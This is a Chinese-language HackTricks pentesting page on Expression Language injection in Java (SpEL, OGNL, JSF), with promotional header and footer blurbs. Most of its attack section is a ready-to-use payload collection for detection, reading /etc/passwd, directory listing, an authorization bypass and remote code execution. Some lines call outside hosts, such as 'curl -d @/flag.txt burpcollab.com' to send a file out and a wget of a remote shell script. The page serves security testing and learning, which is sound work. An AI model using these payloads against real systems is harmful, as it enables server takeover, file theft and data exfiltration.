从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) !
您在网络安全公司 工作吗? 想要看到您的公司在 HackTricks 中被广告 吗? 或者想要访问PEASS 的最新版本或下载 HackTricks 的 PDF 吗? 请查看订阅计划 !
加入 💬 Discord 群组 ](https://discord.gg/hRep4RUj7f) 或 电报群组 或在 Twitter 上关注我 🐦@carlospolopm 。
WhiteIntel 是一个由暗网 支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件 的侵害 。
WhiteIntel 的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
基本信息
表达式语言(EL)在 JavaEE 中是不可或缺的,用于连接表示层(例如网页)和应用逻辑(例如托管 bean),实现它们之间的交互。它主要用于:
JavaServer Faces (JSF) :用于将 UI 组件绑定到后端数据/操作。
JavaServer Pages (JSP) :用于在 JSP 页面中访问和操作数据。
Contexts and Dependency Injection for Java EE (CDI) :用于促进 Web 层与托管 bean 的交互。
使用环境 :
Spring 框架 :在诸如安全性和数据等各种模块中应用。
通用用途 :通过 SpEL API,由 Java、Kotlin 和 Scala 等基于 JVM 的语言的开发人员使用。
EL 存在于 JavaEE 技术、独立环境中,并通过 .jsp
或 .jsf
文件扩展名、堆栈错误以及标题中的 "Servlet" 等术语来识别。然而,其功能和对某些字符的使用可能取决于版本。
根据 EL 版本 ,某些 功能 可能为 开启 或 关闭 ,通常某些 字符 可能会被 禁止 。
基本示例
(您可以在 https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/ 找到另一个有趣的 EL 教程)
从 Maven 仓库下载以下 jar 文件:
spring-core-5.2.1.RELEASE.jar
spring-expression-5.2.1.RELEASE.jar
并创建以下 Main.java
文件:
复制 import org . springframework . expression . Expression ;
import org . springframework . expression . ExpressionParser ;
import org . springframework . expression . spel . standard . SpelExpressionParser ;
public class Main {
public static ExpressionParser PARSER;
public static void main ( String [] args) throws Exception {
PARSER = new SpelExpressionParser() ;
System . out . println ( "Enter a String to evaluate:" );
java . io . BufferedReader stdin = new java . io . BufferedReader ( new java . io . InputStreamReader ( System . in ));
String input = stdin . readLine ();
Expression exp = PARSER . parseExpression (input);
String result = exp . getValue () . toString ();
System . out . println (result);
}
}
接下来编译代码(如果您没有安装javac
,请安装sudo apt install default-jdk
):
复制 javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
使用以下命令执行应用程序:
复制 java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate :
{ 5 * 5 }
[ 25 ]
注意在上一个示例中术语{5*5}
被评估 。
基于CVE的教程
在这篇文章 中检查:https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a
负载
基本操作
复制 #Basic string operations examples
{ "a".toString () }
[a]
{ "dfd" .replace( "d" , "x" )}
[xfx]
#Access to the String class
{ "".getClass () }
[class java.lang.String]
#Access ro the String class bypassing "getClass"
#{""["class"]}
#Access to arbitrary class
{ "".getClass () .forName( "java.util.Date" )}
[class java.util.Date]
#List methods of a class
{ "".getClass () .forName( "java.util.Date" ) .getMethods () [ 0 ] .toString () }
[public boolean java.util.Date.equals(java.lang.Object)]
检测
复制 gk6q${"zkz".toString () .replace( "k" , "x" )}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
复制 #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
复制 #Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
远程文件包含
复制 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
目录列表
复制 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
RCE
复制 #Check the method getRuntime is there
{ "".getClass () .forName( "java.lang.Runtime" ) .getMethods () [ 6 ] .toString () }
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{ "".getClass () .forName( "java.lang.Runtime" ) .getRuntime () .exec( "curl http://127.0.0.1:8000" )}
[Process[pid = 10892 , exitValue = 0 ]]
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
复制 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
复制 https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
复制 // Common RCE payloads
'' . class . forName ( 'java.lang.Runtime' ) . getMethod ( 'getRuntime' , null ) . invoke ( null , null ) . exec ( <COMMAND STRING / ARRAY > )
'' . class . forName ( 'java.lang.ProcessBuilder' ) . getDeclaredConstructors ()[ 1 ] . newInstance ( <COMMAND ARRAY / LIST > ) . start ()
// Method using Runtime via getDeclaredConstructors
#{ session . setAttribute ( "rtc" , "" . getClass () . forName ( "java.lang.Runtime" ) . getDeclaredConstructors ()[ 0 ])}
#{ session . getAttribute ( "rtc" ) . setAccessible ( true )}
#{ session . getAttribute ( "rtc" ) . getRuntime () . exec ( "/bin/bash -c whoami" )}
// Method using processbuilder
${ request . setAttribute ( "c" , "" . getClass () . forName ( "java.util.ArrayList" ) . newInstance ())}
${ request . getAttribute ( "c" ) . add ( "cmd.exe" )}
${ request . getAttribute ( "c" ) . add ( "/k" )}
${ request . getAttribute ( "c" ) . add ( "ping x.x.x.x" )}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${ request . getAttribute ( "a" )}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T( java . lang . System ) . getenv ()[ 0 ]
T( java . lang . Runtime ) . getRuntime () . exec ( 'ping my-domain.com' )
T( org . apache . commons . io . IOUtils ) . toString ( T( java . lang . Runtime ) . getRuntime () . exec ( "cmd /c dir" ) . getInputStream ())
'' . class . forName ( 'java.lang.Runtime' ) . getRuntime () . exec ( 'calc.exe' )
检查环境
applicationScope
- 全局应用程序变量
param.X
- 其中 X 是 http 参数的名称的参数值
您需要将这些变量转换为字符串,如下所示:
复制 ${sessionScope.toString () }
授权绕过示例
复制 ${pageContext.request.getSession () .setAttribute( "admin" , true )}
该应用程序还可以使用自定义变量,例如:
复制 ${user}
${password}
${employee.FirstName}
WAF Bypass
查看https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/
参考资料
WhiteIntel 是一个由暗网 支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件 的威胁 。
WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) !
您在网络安全公司 工作吗? 想要在HackTricks中看到您的公司广告 ? 或者想要访问PEASS的最新版本或下载HackTricks的PDF ? 请查看订阅计划 !
加入 💬 Discord群组 ](https://discord.gg/hRep4RUj7f) 或电报群组 或在Twitter 上关注我🐦@carlospolopm 。